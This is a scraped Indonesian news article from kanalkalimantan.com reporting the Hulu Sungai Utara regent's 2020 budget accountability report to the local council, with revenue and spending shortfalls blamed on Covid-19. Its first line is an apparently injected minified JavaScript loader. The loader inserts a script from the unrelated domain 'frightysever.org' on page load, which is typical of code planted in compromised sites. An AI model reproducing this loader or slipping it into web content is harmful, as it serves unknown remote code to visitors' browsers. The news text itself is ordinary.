(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Abdul Wahid HK sampaikan laporan keterangan pertanggungjawaban (Lkpj) Kepala Daerah Kabupaten HSU tahun anggaran 2020 dalam rapat paripurna DPRD HSU, Senin (22/3/2021).
Bupati HSU mengatakan, mengenai kebijakan umum pengelolaan keuangan daerah, baik yang dalam hal pengelolaan pendapatan daerah, belanja daerah maupun pembiayaan daerah, pada tahun 2020, Pemkab HSU telah berupaya melakukan intensifikasi dan ekstensifikasi pendapatan daerah.
Kendala yang dihadapi selama tahun 2020 adalah pandemi Covid-19 yang terjadi sepanjang tahun 2020, menyebabkan tidak tercapainya target pendapatan baik dari pos pendapatan asli daerah (PAD) maupun dari pendapatan transfer dari pemerintah pusat.
“Secara total pendapatan hanya mampu terealisasi sebesar 95,09% yaitu sebesar Rp 1.207.564.913.956 dari target yang ditetapkan sebesar Rp 1.269.865.899.942,” sebut Wahid.
Selain itu, Bupati HSUI juga mengatakan, dampak negatif pandemi Covid-19 juga terlihat dari sisi belanja daerah yang mengakibatkan pencapaian realisasi belanja selama tahun 2020 hanya mencapai 83,36% yaitu sebesar Rp 1.223.129.865.888.
Dari jumlah belanja daerah yang dianggarkan dalam APBD tahun anggaran 2020 yaitu sebesar Rp 1.467.200.929.501.
Dalam hal itu Pemkab HSU telah menjalankan kebijakan strategis, seperti melakukan optimalisasi dan skala prioritas penggunaan anggaran yang telah ada untuk pencegahan dan penanganan Covid-19. Realokasi anggaran melalui mekanisme pergeseran anggaran dan melakukan percepatan pengadaan barang dan jasa terkait tindakan pencegahan dan penanganan Covid-19.
“Melibatkan lembaga kebijakan pengadaan barang jasa dan BPKP, serta melakukan pengelolaan atas bantuan yang berasal dari luar pemerintah daerah,” ucap Wahid.
Saat ini dapat digambarkan banyak kemajuan dan peningkatan pencapaian hasil yang sesuai dengan tujuan dan sasaran pada kegiatan tersebut, namun disadari dalam pelaksanaannya masih terdapat berbagai kekurangan dan kelemahan.
“Keberhasilan dan kemajuan yang telah dicapai diharapkan dapat dijadikan modal untuk mendukung pelaksanaan program pembangunan pada tahun-tahun mendatang, sebaliknya segala kekurangan dan kelemahan yang ditemui dapat dijadikan bahan evaluasi untuk perbaikan kinerja penyelenggaraan pemerintahan dan pembangunan ke depan,” pungkasnya. (kanalkalimantan.com/dew)
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More
KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More
This website uses cookies.